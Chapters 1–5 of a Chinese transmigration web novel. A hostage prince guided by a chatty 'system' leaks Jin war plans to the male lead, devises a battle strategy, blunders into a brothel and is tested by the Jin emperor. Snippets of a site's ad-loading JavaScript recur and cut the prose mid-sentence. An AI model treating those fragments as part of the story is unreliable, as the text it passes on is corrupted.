《炮灰反派的自我救赎》 1. 炮灰质子(1) 晋史之书邺云:宣统二十三年,太子奉诏巡幸江表,卒于途中,无嗣,年十八。帝哀痛之至,至于啜朝。诸皇子竞权,大臣亦各附势,朝政纷乱,淆乱不堪。自此而后,邺国国力日衰,民生凋敝,国势不振矣。 晋国,安城。 鹅毛般的雪纷纷扬扬落在安城,远远望去,整座城好似被雪完全覆盖,竟叫人生出一种岁月静好的错觉。 舒明尘自宫门缓缓走出,抬了抬眼,眼前道路行人寥寥,仅有一队负责都城安危的金吾卫在巡查,一种肃穆紧张的气氛无声蔓延。 作为大晋的都城,即便在大雪时节,这种气氛也不该出现在安城。 至于现在么,结合刚从皇宫得到的消息,舒明尘在心底无声地笑了笑:在这里待了这么久,总算是有回去的希望了。 他身着银灰色的大氅,一边迈步走在咯吱咯吱的雪上,一边在脑海中问系统:“谢南渝今年冬天就可以攻下安城了吧?” 这个世界的男主终于要来了! 系统声音欢快:“是哒是哒,舒舒再坚持三个月,胜利就在眼前!” 宫门口早就有侍从等候,见他出了宫门,恭敬地将其扶上马车,他的手虚虚搭在仆人肩上,一双手修长笔直,指节分明,黛青色的血管在白皙的手背上尤为明显。 不同于大晋粗犷的长相,舒明尘皮肤白皙,面冠如玉,在一片白茫茫的天地中长身而立,看上去倒真像是地位尊崇的皇子一般。 但他的面色此时却有些过于苍白,像是大病未愈,强撑着身体在外奔走一般。即便面无血色,皱眉的动作也并不影响这张脸带来的美感,反而生出一种不一样的风情。 毕竟是个皇子,侍从心想,只是可惜五年前被邺国送来当质子,如今两国战事已起,不管这位皇子如何周旋,只怕也是要折在这的。 舒明尘不管侍从如何想,他端坐于马车内,想着系统说的三个月,不由悲从中来。 早知道就去路人甲部门了,他心有戚戚。 不过这种想法也只是想想,毕竟已经走到这一步了,还是努力完成任务要紧。 舒明尘是作为反派部门的预备役接受的训练,毕竟反派除了最后死的惨了点,活着的时候还是不错的,位高权重,家财万贯,想想就很幸福。 但是他也没想到,理想和现实是有差距的。反派和反派也有区别,终极大Boss和炮灰的待遇是不一样的。 像他这个世界的原主,就是个小的不能再小的炮灰。 系统在脑海中愧疚不已:“呜呜呜舒舒对不起,新手任务一般很简单的……都是我的错,舒舒不要有压力,就算任务失败了,也没有惩罚,舒舒尽力就好。” 系统的愧疚感简直都要溢出来了,毕竟它当时精挑细选,最后才决定做这个任务。 本来是很简单的,什么都不用干就能过。谁知道这个世界出了问题,投放时间比原定时间早了五年,早了…五年… 当时是原主刚到晋国的时候,跟现在一样,温度低的要死,原主受不住直接嗝屁了。 舒明尘刚到这个世界就想死回去,但是被告知不行——这毕竟是他第一个任务,他只好硬着头皮在这继续扮演质子。 往事不堪回首…… 舒明尘也想开了,反正新手任务没有惩罚,还转过来安慰系统:“没事啦,现在男主就要来了,我们马上就可以回家了。” “嗯嗯。”系统感动的眼泪汪汪,觉得它家舒舒简直天下第一好,世界出错了也不怪它。 舒明尘是觉得事情已经发生了,怪这怪那也没有用,还不如研究怎么完成任务,反正主系统答应给他补偿。 “殿下,到了。”侍从的声音自马车外传来,舒明尘简单“嗯”了一声,下了马车。 他抬头看了眼这个他住了五年的地方,其实也没有很差,当然肯定是比不上晋国的皇子和大部分官员,但最起码的生活保障是有的。 晋国其实并不希望邺国的质子死在这里,毕竟虽然现在邺国国力衰弱,但好歹疆域辽阔,还有男主一家镇守北关,要是真发生冲突,以晋国现在的情况不一定能在邺国的军队下讨得了好处。 现在的情况就很好,邺国的皇子在他们这里当质子,每年还给晋国岁贡,晋国可以趁这个时机慢慢发展,等实力足够,就能从邺国身上撕下一块肉来。 原主之所以刚来就被冻死,哦不,是饥寒交迫,半夜发高烧烧死的,原因还是在原主自己身上。 他来到异国过于胆战心惊,感觉谁都要害他,连跟着他来的云容都不相信,虽然后者确实是谢南渝安插进来的探子,但也不至于害他…… 舒明尘刚穿过来的时候高烧烧的他脑袋都晕,他只能自己弄了点声响,让底下人知道,他们名义上的主子再没人管就要死了—— 说多了都是泪啊! 舒明尘慢吞吞地走向书房,他想快也快不了,原主底子太差了,一看就是从小吃不饱穿不暖的小可怜。 不过想想也是,邺国怎么可能会把备受宠爱的皇子派过来当质子。 这么一想,原主的一生都挺惨的,在自己的母国是个随时都能被舍弃的弃子,来到晋国第一年差点死在这里,好不容易坚持 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到了邺国攻下城的时刻,但家都让男主给掏了,他父皇都被圈禁了,他的下场可想而知。 但原主在异国战战兢兢的这些年也不是白过的,再结合谢南渝攻城之后的所作所为,让他几乎确定了他唯一可以倚靠的身份也没有了。 由希望变成绝望,心理落差极大的原主直接黑化,不管不顾去捅刀子——还真让他成功了,谢南渝身受重伤,导致晋国没有得到及时清理,留下了一堆麻烦。 舒明尘一边在脑海中乱七八糟地想着剧情,一边笔下不停,写着今日进宫商讨得到的情报,关于作战计划、军队布置、相关人马… “为了完成任务我真是做了十二分的努力,”他一边拿起笔在纸上写点其他东西以混淆视听,一边跟系统唠嗑,“希望男主给点力,早点把安城打下来,早点结束任务。” “舒舒放心啦,原剧情里谢南渝就是拿到了云容的消息才打败晋军的,现在我们很有希望成功!” 系统觉得他们现在赢面很大。 舒明尘:…… 他家系统怎么这么有自信,原剧情里云容之所以能把消息送出去,是因为原主表现得太软弱了,晋国让他干什么他就干什么。 可是现在不一样了啊啊啊啊,现在是舒明尘不是原主,他倒是知道怎么跟主角对抗到底,怎么负隅顽抗,但是让他扮演卑微到泥土的质子,咳,有点难度。 他可以做出和原主一模一样的行为,但人的气质是不可能复制的,他做不到从骨子里散发出来的那种卑躬屈膝的。 有一说一,原主能做到这点也是挺不容易的,这也导致晋国根本没对原主设防,云容得到了不少情报。 但是现在,舒明尘扼腕,他已经尽量在走剧情了,但显然,他的表现没有原主那么好。 李淮景——也就是现在的晋国皇帝并不相信他会安分守己,派了那么多人来盯着他,他刚才进宫身边跟着的人都是。 不过因为舒明尘几乎和云容没有接触,就算偶尔接触也是在李淮景派来的人的监视下,后者对云容倒是没有过于防备——但也仅是如此了。 舒明尘现在每天都绞尽脑汁地找机会把情报藏在书房,幸亏有系统帮忙观察周围人的视觉死角,事情一直有惊无险地进行。 舒明尘相信云容会通过各种途径收集情报,毕竟李淮景怀疑的人是他。 至于云容,本来就是原主来晋国的时候拉来随意充数的无数侍从中的一个,况且和原主也没什么接触,并没有在其身上浪费时间。 舒明尘:谢天谢地,小伙子再加把劲,任务完成就靠你了! 2. 炮灰质子(2) 邺国疆域辽阔,版图是晋国的好几倍,但到底百年前的内斗伤了元气,之后奸臣摄政、内乱不休,直到文帝登基,持续几十年的混乱局面才结束。 而在这几十年中,晋国趁邺国陷于内乱,无暇顾及,出兵拿下邺国多座城池,领土迅速扩张。 文帝在位时,国政凋敝,朝中官员惶惶不安,生怕再次卷入政治漩涡,提及国家大事也是含糊其辞,上行下效,各地政务也是一塌糊涂,文帝无法,只能亲自下诏愿与晋国签订盟约: 邺国愿将安和公主嫁予晋国国君,陪送各种金银器皿,粮食作物,以求终止战事,百姓得以安居乐业,不再为战事忧虑。 文帝本意是想以一时之利暂时稳住局面,之后再徐徐图之,只是之后的皇帝多为守成之士,缺乏开疆扩土之气,多年之后,反倒是晋国气势更胜一筹。 直到上任镇北王奇兵上阵,打了晋国一个措手不及,拿回多个城池,只是拥兵一方历来为君王忌惮,何况当朝陛下沉溺美色,纵享笙乐,并不喜欢这位自请出兵,主动找事的臣子。 作为这个世界的男主,谢南渝拿的剧本是,皇室昏庸无度,极其忌惮谢家手中的兵权。但又害怕谢家造反,不敢直接夺权,只好遏制军队的发展,尽可能避免打仗。 因此晋邺两国刚开战,邺国就想求和。至于晋国要的那些东西么, 邺国皇室表示:都是小事儿,反正也不会对他们有什么影响。 晋国一开始其实也没指望邺国答应送质子的要求,之所以要求那么多,是为了最后得到的东西不至于太少,毕竟两国谈判,肯定会再修改一番,双方各退一步,合约就成了。 但是晋国也没想到,邺国为了尽快停战,直接就答应了。 晋国当时都惊呆了:有钱有粮这么任性吗?!金钱和粮食也就算了,还把皇子给送过来了。 简直就像是个小绵羊,对着一头快要饿死的狼说:快来吃我啊快来吃我啊… 以至于最后男主谢南渝看不下去了,直接造反自己当了皇帝。然后直接率大军灭了晋国,改国号为渝。 后在另一个男主沈司的辅佐下,发政施仁,大渝在两人治理下政治清明,进入盛世时代。 在这过程中,两人逐渐确定心意,破除万难走在了一起。 舒明尘:这个我懂——经典爽文剧情! 现在剧情已经发展到了,男主已经控制了邺国上下,但是一直没对外公布消息,而是率大军攻打晋国。 谢南渝很清楚,晋国是一头虎视眈眈盯着邺国的饿狼,不能任其发展壮大,要一击致命,不然后患无穷。 而原主,只是一个微不足道的炮灰。 他这个角色的作用就是:带着云容进入大晋,谢南渝靠着云容的情报用了一年时间踏破晋国,至此,中原统一,这个世界再无晋国。 舒明尘这种炮灰反派角色,按理来说,顶多给主角之间的感情助攻,让有情人终得眷属。 原本剧情中,原主在安城惶悚不安当了五年质子,好不容易活到了胜利之日,却又发现了谢南渝谋反的既成事实。 双重绝望下的原主直接找到谢南渝,一刀捅上去,却被对方及时躲过…… 原主的刀子没对谢南渝造成任何影响。事后原主被谢南渝下令处死,主角攻受的感情进一步升温。 如果事情最终这样发展就不用舒明尘了,剧情在最后出现了偏差: 谢南渝刚结束了一场战役,身心俱疲,在发现原主的意图后,没有及时阻止,只能偏身闪过,不至于刺中要害。 即便如此,谢南渝也受了不轻的伤,导致晋国残部没有被及时清理,后来晋国余孽反扑,而此时刚刚吞并的晋国领土还没有被男主完全掌握,内乱外战不休,整个国家陷入风雨飘摇中。 舒明尘的任务就是,等到安城被攻占,不捅主角,让后者健健康康地打下晋国,然后自己想办法死回去就行。 这个任务不难,作为新手上任的第一个任务,一般比较简单。 但投放时间出了问题,原本的投放时间是安城成功被攻破之后,舒明尘只要什么都不干,任务就过了。 但要命的是,不知道是不是因为舒明尘的到来,导致原本应该好好活到五年后的原主在刚到晋国的第一天就死了,主系统只能紧急把他投放到五年前的时间点…… 质子死在晋国,这确实是一个出兵攻打晋国的理由,但当时谢南渝还没有掌握邺国,这样的情况下,就算出动军队,在没有粮草支援的情况下,情况只会更糟。 而且那时云容刚到大晋,对晋国不算了解,无法给予谢南渝足够的情报。 总之,为了这个世界剧情走向的稳定,舒明尘需要继续在安城待着,直到五年后男主打过来。 舒明尘:淦!!!在任务世界待了五年都没见到过男主,也是没谁了。 想想这些天,他总是觉得头上悬着把刀,不知道什么时候落到他脖子上。 谢南渝根 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 本没管他的死活,前者率大军踏破边境的时候,还在宫中赴宴的舒明尘差点没变成赴死。 幸亏那些反派课程没白上,他立刻向李淮景提出借兵,承诺他得到邺国皇位后会如何报答云云…… 这对于晋国确实是个稳赚不赔的买卖,晋国以为谢南渝还在被邺国皇室牵制,这场战役不会打太久,打着原主的名头与邺国交战,输了大可把锅甩给他们邺国的皇子,然后再洽谈盟约事宜。 赢了的局面就是打退镇北军,把舒明尘扶上皇位。 新帝以此种方式即位,必定内外动荡,到时即便晋国狮子大开口,舒明尘为了稳住局面也只能乖乖奉上。 当然晋国也没傻到直接让舒明尘带领军队上前线,万一他和邺国军队里应外合,把晋国军队吞了呢? 舒明尘被拘在安城,身边都是晋国的眼线,至于前线,随便找个明面上是舒明尘的人就行了…… 这也就是为什么晋邺两国交战,舒明尘还在安城安安稳稳待着的原因。 但这终究不是长久之计,谢南渝在前线屡战屡胜,晋国现在已经在考虑是把他这个替罪羊杀了送给男主,还是绑了送给男主…… 剧情已经偏到姥姥家去了,但是现在不能走,他走了,云容也得走。攻破安城的关键性情报必须得送到谢南渝手里。 现在剧情还没到男主攻打安城的节点,舒明尘只能自己想办法在安城继续待着。 舒明尘问系统:“上次的问题有回复了吗?” 他向晋国提出借兵,晋国以他的名义与邺国交战,这是原剧情中没有的,所以舒明尘得确定下这种情况有什么影响,让系统向上级提交了一下。 “舒舒稍等,我查一下,”系统一顿操作,“主系统回复说只要最后结果和任务一致,偏移剧情不影响最后评分。” 很好。舒明尘表示很满意,接下来可以继续偏移剧情了。 “但是如果最后任务失败,主系统会按照剧情偏移程度扣除相应积分。” 舒明尘:……他有句脏话不知道当讲不当讲。 意思就是任务完成了什么都好说,任务失败了惩罚加重呗… 系统适时安慰:“舒舒没关系的呀,咱们这是第一个任务没有惩罚,就当练练手了。” 哦,对哦!他这是新手任务,那计划还是可以继续进行。 舒明尘把心放回肚子里,反正失败没惩罚—— 他心里有了谱,跟系统又聊了一会就睡了。 3. 炮灰质子(3) 翌日,舒明尘衣着整洁地站在承明殿前,他身穿淡青色素面长袍,外面罩了一件雪白色大氅,身如玉树,气质清冷,远远望去,如谪仙一般。 承明殿是晋国皇帝李淮景处理政务的地方,舒明尘知晓对方是故意将他晾在这,幸亏他早有预料,穿的都是加厚的棉衣。 不然就以原主的身体,今天就算冻不死回去也得发烧。 他在心里默默为自己点个赞,系统在他脑海里气急败坏地骂着李淮景:“大坏蛋,竟然让舒舒在雪天等着,怪不得最后不得好死#%&” 舒明尘想提醒他家系统,他最后也得被男主搞死,想了想还是算了,任由系统继续在他脑海里诅咒李淮景。 毕竟他一个人在这站着也挺无聊的,有个人,啊不,有个统在这说话打发打发时间也挺好的。 “殿下请。”小太监粗声粗气,连样子也不做了,估计笃定他这个替罪羊要被推出去了。 舒明尘脑海中的系统又炸毛了——竟然欺负它家舒舒! 舒明尘一边在脑海中安抚自家统子,一边不慌不忙地走进殿内。 晋国皇帝稳稳坐在书桌前,前面已站了不少人,他略略扫了一眼,武将居多,丞相文止和几位尚书都到齐了。 他朝首位晋国皇帝行了个标准的礼,就退到一旁,安安静静当个背景板。 整个大殿寂静无声,落针可闻。 大将军蒙阙麾下将领心浮气躁,当即就绷不住了,直接发难:“晋邺两国的战事,说到底是你们邺国自己的事,如今却致我国连失数十座城市,质子今日可得给我们个交代!” 舒明尘没忍住笑了出来:“若此战是因为在下而起,在下自然任凭诸位处置。”他面带病色,表情总是冷清的,如今一笑,叫人不由得想起春日的暖阳。 那位发话的武将恍了下神,还没来得及回答,就听见那病歪歪的质子慢条斯理道: “诸位心里都清楚,此战的起因并不在我。但我愿意帮助晋国,毕竟帮助晋国,也是在帮我自己。” “邺国军队并不会因为晋国把我交出去而停止对晋国的征伐,我这个皇子若真有那么重要,今日便不会出现在这了,不是吗?” 舒明尘从容自若地继续分析道。 这话倒是没错,李淮景看着对方的神情,邺国发兵毫不顾忌还在大晋做质子的舒明尘,这就代表他已经被邺国放弃了。 一个被当作弃子的皇子,如果不为自己争一争,就算没死在晋国,回去的处境也必定艰难。 更何况舒明尘已经和他签署了合约,只要晋国帮助他登上皇位,舒明尘愿意将邺国边界十余座城池双手奉上。 晋国若是被灭,合约必定曝光,到时候等着舒明尘的,可就是叛国罪了。 邺国国律,凡叛国者,凌迟而死。 众人看见舒明尘素白的双手一摊,“在下以为,现在最重要的事情,是思考如何解决前线的困境,而不是自乱阵脚。” 殿中各人神色各异,虽然他们心里也认同这位质子说的话,但到底对方是邺国的皇子,不善的目光纷纷落在这道素白的身影上。 晋国丞相文止皮笑肉不笑地说道:“质子有何想法,不妨说出来,大家一同商议。” 舒明尘在反派部门训练了这么久,表示这都小场面。 唇红齿白的青年站在殿前,身姿清瘦挺拔,声音轻缓,如芝兰玉树,说不出的尊贵闲雅。 只是此时却无人欣赏,在舒明尘说完计策后,在场众人的脸色均不大好看。 他们在场的武将哪位不是征战数十年,而这样一个退敌之策,竟然是被一个刚到弱冠之年、无人教授、从未上过战场的青年提出的,简直是把他们的脸往地上踩! 系统骄傲:那当然,它家舒舒是最棒的! 舒明尘在脑海中夸赞系统:“统子真有你的,我觉得他们的嘴巴都合不上了哈哈哈哈哈。” 系统被夸后还感觉有点不太真实,毕竟它一直没帮上什么忙,它千挑万选的世界还出了错误。 没错,这个计策是系统把晋国地形、城池状况及两国军队情况同大数据结合,经过计算处理得到的。 可以说,就算是男主,在不知道计策的情况下,都要在这上面栽个跟头。 舒明尘当然不可能让男主栽跟头,他相信云容会把这个计策完完整整地传给谢南渝。 提前知道计策,又是男主,舒明尘心想邺国军队应该不会受到什么损失。 “质子既然对战争有如此见解,之前作战为何一言不发?”兵部尚书宇文延气愤道。 舒明尘似笑非笑地望着对方:“之前诸公并不信任在下,诸公之前不是一直在想,就算战败也可以把在下推出去吗?” 宇文延面上一窘,支支吾吾半天也没能再说出点什么。 晋国国君李淮景敲了敲桌子,适时出声:“之前种种,双方皆有不足之处。既然大家目的相同,就专注解决眼前困境,前日种种,不可再提。” 舒明尘在心里叹了句:真是个老狐狸。 他何尝不知今日种种都是面前这位笑面虎的陛下授意的,可人在屋檐下,不得不低头。 他的脸上挂着恰到好处的笑意,在人群中恭敬行礼:“陛下说的是。” 之后就是商量计策是否可行,如何实施。舒明尘站在原地,云淡风轻地看着一群人吵得热火朝天。 当然最后也没商量出个所以然来,晋国皇帝被吵得心烦,直接说道改日再议。不过最后倒是留下丞相文止和金吾卫指 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 挥使蒙阙,舒明尘跟随其他人退出承明殿。 舒明尘是邺国皇子,就算此时与晋国处于同一阵营,晋国官员也从不与其同行。 舒明尘本人对此倒是乐见其成,他现在一举一动都被晋帝监视,要是和晋国某个官员走得近,以帝王的疑心病,估计就要怀疑他图谋不轨,结党营私,染指晋国朝政。 舒明尘:一个半年后就要灭亡的国家的朝政有什么好染指的—— 他信步走在宫内,步履轻缓,说不出的闲适优雅。 无论在哪,雪后的气息总是令人愉悦的。寒凉清爽的气息扑面而来,舒明尘很是享受地对自家统子说:“统统,这里好美,这里的气息我好爱。” 古代世界没有被污染的气息真是太好闻了,舒明尘在这里待了四年半,觉得这个世界的空气简直戳在他的心巴上。 系统十分捧场:“舒舒喜欢就好~” 承明殿内,君王居高临下,眯着眼睛问站道::“你们二人以为,他提出的计策是否可用?” 这个他,指的自然是舒明尘。 蒙阙低头未语。 “陛下恕罪,”文止躬身道,“老臣斗胆,跟在这位身边的人可有什么消息?” “出行规律,朕的人寸步不离地跟着,并未与其他人有过接触。”晋国国君手指点着桌面,缓声道。 此时蒙阙才脸色难看地出声道:“计策确实是个可以重创邺军的计策,只是还需进一步完善。但瑕不掩瑜,可以一试。” 舒明尘毕竟从未上过战场,所提出的计策都是由理论支撑的,尚显青涩。若要实施,细节处需要多加雕琢。 晋国国君李淮景摩挲着手上的扳指,“邺国九皇子,初到晋国时表现得软弱可欺,没想到有如此才能。若让他成为邺国皇帝,只怕后患无穷。” 李淮景二十即位,用铁血手段镇压朝堂,在位已逾十年。他是个相当有野心的君王,但他同样清楚,如今的晋国还无法支撑起他的野心。 他看着舒明尘,就好像看到了十多年前的自己。 对于他来讲,目前的晋国还需要进一步壮大自身实力,但是,邺国之于舒明尘,可就不一样了。 不能让邺国九皇子顺利回到邺国,不过此事还得徐徐图之,现下还得依靠对方,他的眼中闪过一丝暗芒。 “你召集所有武将,将这计策完善,三日后,朕要看见一个完美的作战方案。” 桌前的君王吩咐二人道,“至于质子,不必让他知道具体细则。” 非我族类,其心必异。即使目前他们现在是合作伙伴,也不得不防。 文止、蒙阙行礼称是。 帝王挥了挥手让其退下。 邺国送来的这个质子,以前真是小瞧他了。 4. 炮灰质子(4) 晋国南方城池,也是抵挡边境与内城的最重要的屏障——阳谷关。 之前在大晋屡战屡胜的邺国军队仿佛受到了某种阻碍,大军围攻阳谷关已一月有余,却迟迟久攻不下。 而与之相对的是,晋国军队一扫之前屡战屡败的颓势,竟然重创了邺国军队,而且还有余力收回之前被攻占的城池。 晋国国内大喜过望,对晋邺两国战争有了新的考量。 晋国皇宫,李淮景看着前线送来的战报,饶有兴趣地对丞相文止说道:“事情办得如何了?” 已过天命之年的丞相微微一笑,“陛下放心,消息已在前线传开,邺国那边已经知道阳谷关之战是九皇子向晋国献的计。” 素来威严的国君此时却是心情颇好地舒展了下眉头,和颜悦色道:“此事办得不错,辰之在户部待的时间也够久了,是时候升一升了。” 文政,字辰之,是丞相文止长子。 一般来说,父子同在朝中,儿子的官职不能越过父亲。特别是像文止这样大权在握的丞相,其子的职位便要进一步受到约束。 文政进入朝堂十年,如今只能在户部挂个闲职,手上并无多少权利——这是为了防止父子二人共担要职,把持朝政。 文政若想进一步晋升,只能等到其父文止致仕后。 而如今陛下亲口承诺,文政晋升之事已经板上钉钉了。文止心中大喜,忙跪下谢恩。 晋帝摆了摆手,后者很有眼色地提出告退。 邺国九皇子在晋国藏拙达四年之久,若非涉及自身性命,只怕也不会把自己露出来。 这样一个有心机、有手段、才能过人的皇子,若将其推到皇位上,假以时日,只怕会成为与他旗鼓相当的对手。 但现阶段还需借助他的谋略和身份,只好在舆论方面下些功夫。 想必邺国方面也并不希望一个与敌国勾结的皇子登上皇位,等到舒明尘与朝堂对峙之时,邺国国内必定大乱,到时候进军邺国,得到的可就不止十座城池了。 李淮景想起那日舒明尘在殿上侃侃而谈的情景,倒是可惜了,明明才华远胜他的皇兄们,却被送来当质子,无论最终结果如何,都不会有什么好下场。 并不知道李淮景背着他搞了什么小动作的舒明尘在自家宅邸对系统疯狂吐槽:“谢南渝也太废了,云容都把计划告诉他了,打阳谷关打了一个月都没打下来,这届男主不太行啊。” 系统也纳闷:“不应该啊,原剧情里谢南渝在战场上占尽优势,很少有过败绩。” 在这个世界待了几年的舒明尘好不容易看到了点任务完成的希望,现在看男主这样,感觉那点任务完成的希望又灭了。 决定摆烂的舒明尘决定出去逛街,反正任务要失败了,还不如趁最后的时间看一下古代版集市。 前几年努力扮演卑微质子,大门不出,二门不迈;后来晋邺两国交战,又被晋国的人里三层外三层地监视,他还没在这个世界好好逛一逛。 打定主意的舒明尘说走就走,出去之前还不忘给门口的侍卫提了一嘴。 其实现在晋国对他的监视已经宽松了很多,这得益于他的计策在战场有效扭转了战局,以及每次出门前的自觉报备。 他今天出门只跟了两个人,相比之前人已经少多了。 舒明尘迫不及待来到了西市,西市是安城最热闹的地方,之前受到战事影响,西市冷清了不少,如今晋军在前线战事出现转机,这里便又恢复了往日的喧嚣。 不愧是晋国都城最繁华的地段,他一踏入这里,摊贩的叫卖声,不绝于耳的管弦声,新出炉小吃的香味争先恐后地占据他的感官。 舒明尘:!!!什么是快乐,这就是啊! 他很愉快地加入了买买买行列,反正有冤大头给他买单。 此时此刻,晋国皇宫,冤大头·李淮景接到了对方出府前往西市的消息,无所谓地摆了摆手。 事实摆在眼前,没必要过多猜忌,舒明尘一直表现得相当自觉,加上前线的捷报,他的戒心也消除了不少。 舒明尘一手拿着糖葫芦,一手还握着一串刚从摊上烤的鲜黄酥脆的豆腐,他心满意足地咬了一口,独属于食物的鲜嫩口感在味蕾炸开。 舒明尘:这才是生活啊! 他泪眼汪汪地对系统说:“统统这真的太好吃了,想想我这些年在这个世界过的苦行僧的日子,真是太苦逼了。” 系统心疼道:“舒舒我们今天好好玩一玩。” 他在脑海中心情欢快地对系统应了一声,“统砸,你之前来过类似的世界吗?有没有好玩的推荐一下。” “没有哎,”脑海中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的系统对着手指,“舒舒是我第一个宿主……” 噢,原来他俩都是小白。 舒明尘戏精上身,“今日你我二人结拜为异性兄弟,日后大哥带你吃香喝辣。不求同年同月同日生,但求同年同月同日死。” 系统很上道,“大哥!” “二弟!走,大哥带你去见见世面!” 兴致勃勃的舒明尘带着自家系统把每个店铺都逛了一遍,连玉石铺也没放过,当然买是不可能买的。 虽然李淮景可以负责他的日常开销,但玉石之类过于昂贵,对方显然不太可能花这冤枉钱。 也就看一看,见见世面嘛。他颇为心大地想。 而且原主有一个玉佩来着,那玉佩对原主应该挺重要的,不然就以原主这个小可怜,早拿去换点东西了。 舒明尘还见到了古代的青楼,其实从外表看跟一般的客栈差不多,就是里面大厅比一般的客栈要更大一些,毕竟这种服务性质的嘛,嗯,人多,肯定要大一些。 至于他为什么会知道,青楼里面比客栈更大,是因为——他!进!去!了! 他以为这是个高级点的饭馆,谁!能!想!到! 那两个侍卫也不知道提醒他,他问了才跟他说,让他丢了个大脸。幸亏他不懂就问,也没闹出笑话。 不过青楼是不能继续待下去了,他抬脚打算去旁边的南风馆坐一坐。 然!后!在他踏入南风馆后,那两个侍卫支支吾吾地跟他说,那是好男风的客人会选择的地方。 !!! 啥玩意?! 古代就有这种场所吗?! 不是说比较封建,连主角攻受都经历重重磨难才在一起?! 两个侍卫看着眼前刚刚褪下去红意的脸腾的又红了,一副要裂开的表情。面如白玉的俊秀脸庞,此刻简直比秋天的枫叶还要红,震惊的眼神透露出几分羞耻和无措。 外面的世界实在太危险了,麻麻,他要回家! 舒明尘一边迈着轻飘飘的步子回府,一边在脑海中谴责系统:“统子你怎么不提前提醒我?” 系统也很冤:“舒舒你别生气,我也不知道是那种地方,外面看着也没什么不一样啊……” …… 很好,就他和系统这个样子,任务失败也是得以预见的。 5. 炮灰质子(5) 李淮景听着白天跟着舒明尘的两个侍卫的汇报,在听到对方进了怡红楼和南风馆后,不由挑了挑眉,随口问道:“他找了个几个人?” 侍卫尽量绷住表情回答道:“回陛下,一人也无。” 他顿了顿,又补充道:“质子似乎并不知道那是……知道后便急急忙忙地退了出来。”然后魂不守舍地回府了。 后半句侍卫没有说,不过李淮景也能猜到。 他挥手让侍卫退下,坐在龙椅上撑着下巴好整以暇地想了一会。 按理说,皇子十二岁时,宫中便会派嬷嬷教导男女之事。 不过他早就调查过这位九皇子,对方在邺国确实过的不太好,也不受宠,不然也不会送到晋国来。 所以,舒明尘在邺国应该从未接触过风月之事,而后来到晋国,当然也没有人跟他说这方面的事。 第二天,晋国国君召邺国质子进宫商讨作战事宜。 舒明尘怀揣着一颗摆烂的心踏入了承明殿,哪知刚刚入座,就听见对方低笑道:“听说昨天质子在怡红楼和南风馆逛了逛,不知是否遇到可心之人?” 李淮景做事向来肆意妄为,他本来就是皇帝,大权在握后更加不遮掩自己的本性。 他从不掩饰自己对邺国质子的监视,今日有意提起,不过是想提醒对方不要以为他放松了对他的监视。 舒明尘也算是摸清了这个皇帝的性情,每次都示弱得恰到好处。 只是这次似是有些不同,向来端方守礼的质子殿下先是怔了一下,随后便涨红了脸,红色自面上蔓延开来,最后就连耳朵也染上些红意。 自从舒明尘主动与晋国达成合作后,向来清冷如雪,如今这般,不由得叫人想起雪后的腊梅,冷冽中又显出一些春意。 舒明尘:啊啊啊丢人丢到姥姥家去了—— 虽然他早就知道对方会知道他的行程,但是对方说出来和不说还是不一样的。没说他就可以当作没发生,但是,现在,这、让他怎么说?! 让他说,在这地方待了近五年,还不知道怡红楼、南风馆是青楼吗?! 李淮景倒是没想到这位质子殿下反应这么大,他饶有兴趣地盯着下首的质子,只见对方尽量冷静地说道:“谢陛下关心,只是在下并未遇到。” “这样啊,倒是可惜了。”李淮景玩笑般说道,“质子闲暇时可在安城四处转转,没准就遇到了呢。” 转,转什么,舒明尘木着脸,在任务还没有判定失败前浪一浪? 他倒是想遇见谢南渝,可是谢南渝这个烂泥扶不上墙的,到现在也没让他看见一点任务成功的希望。 舒明尘朝谢南渝扔了个鸡蛋,并表示谢南渝是他带过的男主里面最差的一个。 虽然他也就接触过这么一个男主,而且到现在也不知道对方长啥样。 李淮景看着质子殿下一副僵着脸不知道摆出什么表情的样子,有些忍俊不禁,他也没想到,邺国九皇子才华卓越,在这种事情上这么纯情啊。 随后李淮景大发慈悲地地转移了话题,聊起前线的战事。 在得知晋军不但守住了阳谷关,而且还夺回了几座之前被邺军占据的城池后,舒明尘:虽然早就知道任务要完,但是他也没想到男主这么菜。 #开卷考试考这么烂也是没想到# 尽管心理活动很活跃,他面上却丝毫不显,还跟晋国的皇帝陛下商业互吹了一波:“此次成功多亏陛下鼎力相助,于在下而言,君恩重泰山,日后必粉身碎骨以报。” “质子言重了,殿下才能过人,仅靠一条计策便扭转局势,令朕佩服。” 舒明尘:不,我也不想的,但还要强装微笑: “陛下过誉了,前线能有如此成果,全因陛下指挥有方。若是没有陛下坐镇都城,掌握全局,即便在下提出再完美的策略都无济于事。” 彩虹屁谁都会吹—— 话毕,舒明尘本以为今日的谈话要结束了,正打算起身告退。 没想到对方对着旁边的太监总管陈言吩咐了一句:“呈上来吧。” 然后他就看见几个太监抬了几个箱子过来,一打开,全是上等玉石,有一箱尚未雕刻成型的原石,但从切开的部分看,成色算得上极好;剩下几箱都是些玉制的摆件、玉坠、玉器、玉杯…… 舒明尘:这得多少钱啊,就跟大白菜似的摆在这,他好心疼。 穷光蛋舒明尘平等地痛恨每个在他面前炫富的人。 晋国国君望着一脸惊讶的他说道:“听闻质子还去了玉石铺,只是外面的东西到底不比宫里。朕昨夜着人在国库搜寻了一番,不知可还合质子心意?” 舒明尘:?!所以这是给他的?!惊喜来的太快就像龙卷风—— 回过神后的他矜持地表示,简直太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 合他心意了有没有! 再然后,舒明尘心情雀跃地带着几箱玉石回家了,连脚步都轻快了几分。 到底年轻,还不能完全隐藏自己的情绪,一经试探就暴露了。 李淮景面色淡漠地看着对方的背影,几箱玉石而已,与他而言,并不算是什么不得了的东西。 不过,经此一遭,对方倒是比他想象中更好掌控。 